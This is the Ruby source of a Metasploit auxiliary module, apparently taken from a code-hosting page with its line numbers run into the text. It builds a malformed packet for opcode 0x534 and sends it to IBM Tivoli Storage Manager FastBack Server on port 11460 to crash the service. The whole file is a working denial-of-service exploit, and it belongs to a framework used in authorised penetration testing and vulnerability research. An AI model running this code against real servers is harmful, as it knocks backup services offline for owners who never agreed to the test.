Path: blob/master/modules/auxiliary/dos/misc/ibm_tsm_dos.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service',14'Description' => %q{15This module exploits a denial of service condition present in IBM Tivoli Storage Manager16FastBack Server when dealing with packets triggering the opcode 0x534 handler.17},18'License' => MSF_LICENSE,19'Author' => [20'Gianni Gnesa', # Public disclosure/Proof of Concept21'William Webb <william_webb[at]rapid7.com>', # Metasploit22],23'References' => [24['EDB', '38979'],25['OSVDB', '132307']26],27'DisclosureDate' => '2015-12-15',28'Notes' => {29'Stability' => [CRASH_SERVICE_DOWN],30'SideEffects' => [],31'Reliability' => []32}33)34)3536register_options(37[38Opt::RPORT(11460)39]40)41end4243def tv_pkt(opcode, p1 = '', p2 = '', p3 = '')44buf = Rex::Text.rand_text_alpha(0x0C)45buf += [opcode].pack('V')46buf += [0x00].pack('V')47buf += [p1.length].pack('V')48buf += [p1.length].pack('V')49buf += [p2.length].pack('V')50buf += [p1.length + p2.length].pack('V')51buf += [p3.length].pack('V')5253buf += Rex::Text.rand_text_alpha(0x08)5455buf += p156buf += p257buf += p35859pkt = [buf.length].pack('N')60pkt << buf6162return pkt63end6465def run66target_opcode = 0x53467connect68print_status("Connected to: #{rhost} port: #{rport}")69print_status('Sending malicious packet')7071p = tv_pkt(72target_opcode,73"File: #{Rex::Text.rand_text_alpha(0x200)} From: 0 To: 0 ChunkLoc: 0 FileLoc: 0",74Rex::Text.rand_text_alpha(0x60),75Rex::Text.rand_text_alpha(0x60)76)7778sock.put(p)79print_status('Packet sent!')80rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e81print_error("Exploit failed: #{e.class} #{e.message}")82elog(e)83ensure84disconnect85end86end878889